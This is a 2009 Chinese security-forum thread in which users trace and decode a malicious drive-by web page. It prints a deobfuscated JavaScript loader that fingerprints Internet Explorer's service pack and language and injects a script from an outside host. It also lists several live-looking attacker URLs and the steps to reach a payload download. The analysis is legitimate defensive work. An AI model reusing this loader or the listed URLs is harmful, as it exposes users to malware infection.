omyakicari.com/images/wait.html bbs.ikaka.com

kekao - 2009-7-6 19:12:00

请教一下.详细说明一下过程:kaka1: 谢谢!(恶意网址,不要随便打开)

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )

gtyre2 - 2009-7-6 20:16:00

不是恶意网站吧
网盾进去没报

引用:

http://omyakicari.com/images/wait.html

页面上有一段ShellCode
取这段

引用:

然后弹窗得到

引用:

http://simpa-lux.com/ts/in.cgi?baggi6

xiaoqiang305 - 2009-7-6 20:23:00

freshow直接esc一下就出来了~~但楼主问的肯定不是这个是往下怎么解

gtyre2 - 2009-7-6 20:41:00

出来这些:kaka6:

Log is generated by FreShow.
[wide]http://omyakicari.com/images/wait.html
[frame]http://w-netex.com/pore/?7876256053563003de306eb5c094240d
[frame]http://linotraffic.com/ts/in.cgi?410

kekao - 2009-7-6 22:21:00

能否继续解了.看看是否能下载什么?

gtyre2 - 2009-7-6 22:31:00

无网马:kaka6:

kekao - 2009-7-7 10:23:00

:kaka6: 竟然说没有网马.网马时刻在更新

gtyre2 - 2009-7-7 10:30:00

今天进去网盾报的是这个

引用:

http://brasilianstoree.info/k.php?btn

不过还是解不了:kaka6:

shadowmin - 2009-7-7 12:07:00

关于:hxxp://brasilianstoree.info/k.php?btn解密的日志(全体输出 - 3):

Level 0>http://brasilianstoree.info/k.php?btn
Level 1>http://brasilianstoree.info/k.php?rgljklxskwkkzkekkkffygjezwkejzyjrugkkyiwcwlrwxzz0800
Level 2>http://brasilianstoree.info/k.php?rgljklxskwkkzkekkwffygjezwkejzyjrugkkyiwcwlcjzkkkckkszkkkkkkkkke

日志由 Redoce1.9第68次修正版于 2009-7-7 12:10:21 生成。
只解出这么多，然后就连不上了。

kekao - 2009-7-7 13:18:00

请问题你这个如何得到下两个地址的.详解一下.

shadowmin - 2009-7-7 16:39:00

打开http://brasilianstoree.info/k.php?btn
对代码处理后，如下：
然后在神器中运行。

[复制到剪贴板]

CODE:

得到如下代码。

[复制到剪贴板]

CODE:

5;/**/{}/**/
9;;/**/
{}8;

; ;3;{}

function WAiAASBD(Ed6_dsgw)

{

var XaE4rLGC = new Array( 'K', 'W', 'Y', 'j', 'y', 'F', 'e', 'S', 'c', 'X', 'i', 'g', 'u', 'l', 'R', 'Z' );

var DyG1KjjK;

var GevMXj5y = '';

for(DyG1KjjK = 0; DyG1KjjK < Ed6_dsgw.length; DyG1KjjK++) {

var EFJNHxVp = Ed6_dsgw.charAt(DyG1KjjK);

EFJNHxVp = parseInt(EFJNHxVp, 16);

if (isNaN(EFJNHxVp))

return Ed6_dsgw;

GevMXj5y += XaE4rLGC[EFJNHxVp];

}

return GevMXj5y;

}

; /**/
{}

6;
;

/**/3;8;
9;
; ;

0;/**/
document.XV7Xq80V = 1;

document.REygHqYf = 1;

document.xJVtbjPa = 1;

var NzprQCvd;

var o2gIvPIq = navigator.appMinorVersion;

var oL7oqZQS = -1

var pi6oBqUw = "01";

while((oL7oqZQS = o2gIvPIq.indexOf(";SP", oL7oqZQS+1)) != -1) {

var T1aZANQB = o2gIvPIq.charAt(oL7oqZQS+3);

if (T1aZANQB == "1")

pi6oBqUw = "02";

else if (T1aZANQB == "2")

pi6oBqUw = "03";

else if (T1aZANQB == "3")

pi6oBqUw = "04";

else if (T1aZANQB == "4")

pi6oBqUw = "05";

else if (T1aZANQB == "5")

pi6oBqUw = "06";

else if (T1aZANQB == "6")

pi6oBqUw = "07";

if (pi6oBqUw != "01")

break;

}

if (pi6oBqUw == "01" && o2gIvPIq.indexOf("Release Candidate", 0) != -1)

pi6oBqUw = "08";

var xp8LKL2T = navigator.systemLanguage.substr(0, 10);

var vGhFcQjS = "";

for(var y2qx11MO=0;y2qx11MO<XP8LKL2T.LENGTH;Y2QX11MO++) {

JEizwtZb = xp8LKL2T.charCodeAt(y2qx11MO).toString(16);

if (JEizwtZb < 2)

vGhFcQjS += "0";

vGhFcQjS += JEizwtZb;

}

while(vGhFcQjS.length < 20)

vGhFcQjS += "00";

var NzprQCvd = pi6oBqUw + vGhFcQjS;

NzprQCvd = WAiAASBD(NzprQCvd);

window.WAiAASBD = WAiAASBD;

var mJR7VMOF = document.createElement("script");

mJR7VMOF.setAttribute("type", "text/javascript");

mJR7VMOF.setAttribute("src", "http://brasilianstoree.info/k.php?FeygRSKjKWKKZKeKKKFFygjeZWKeFcjYXRcWKYWuWcZKSeZZ" + NzprQCvd);

document.body.appendChild(mJR7VMOF);

shadowmin - 2009-7-7 16:56:00

看上面的代码：

[复制到剪贴板]

CODE:

"http://brasilianstoree.info/k.php?FeygRSKjKWKKZKeKKKFFygjeZWKeFcjYXRcWKYWuWcZKSeZZ" + NzprQCvd

要获取NzprQCvd的值，根据上面的代码构造如下代码：

[复制到剪贴板]

CODE:

function WAiAASBD(Ed6_dsgw)

{

var XaE4rLGC = new Array( 'K', 'W', 'Y', 'j', 'y', 'F', 'e', 'S', 'c', 'X', 'i', 'g', 'u', 'l', 'R', 'Z' );

var DyG1KjjK;

var GevMXj5y = '';

for(DyG1KjjK = 0; DyG1KjjK < Ed6_dsgw.length; DyG1KjjK++) {

var EFJNHxVp = Ed6_dsgw.charAt(DyG1KjjK);

EFJNHxVp = parseInt(EFJNHxVp, 16);

if (isNaN(EFJNHxVp))

return Ed6_dsgw;

GevMXj5y += XaE4rLGC[EFJNHxVp];

}

return GevMXj5y;

}

var NzprQCvd;

var pi6oBqUw = "01";
var vGhFcQjS = "00";
var NzprQCvd = pi6oBqUw + vGhFcQjS;

NzprQCvd = WAiAASBD(NzprQCvd);
eval(NzprQCvd);

在神器中运行后得到值

[复制到剪贴板]

CODE:

KWKK

所以地址为：

[复制到剪贴板]

CODE:

http://brasilianstoree.info/k.php?FeygRSKjKWKKZKeKKKFFygjeZWKeFcjYXRcWKYWuWcZKSeZZKWKK

打开这个页面，得到的代码直接在神器中解密，得到地址

[复制到剪贴板]

CODE:

http://brasilianstoree.info/k.php?FeygRSKjKWKKZKeKKYFFygjeZWKeFcjYXRcWKYWuWcZuijKKKWKKSZKKKKKKKKKYK

此地址可以下载到文件。正确与否，未知。

shadowmin - 2009-7-7 17:09:00

关于:hxxp://omyakicari.com/images/wait.html解密的日志(全体输出 - 6):

Level 0>http://omyakicari.com/images/wait.html
Level 1>http://trafing.net/in.php
Level 2>http://linotraffic.com/ts/in.cgi?cut4
Level 2>http://brasilianstoree.info/k.php?btn
Level 3>http://brasilianstoree.info/k.php?feygrskjkwkkzkekkkffygjezwkefcjyxrcwkywuwczksezzkwkk
Level 1>http://linotraffic.com/ts/in.cgi?410

日志由 Redoce1.9第68次修正版于 2009-7-7 17:12:58 生成。

瑞星卡卡安全论坛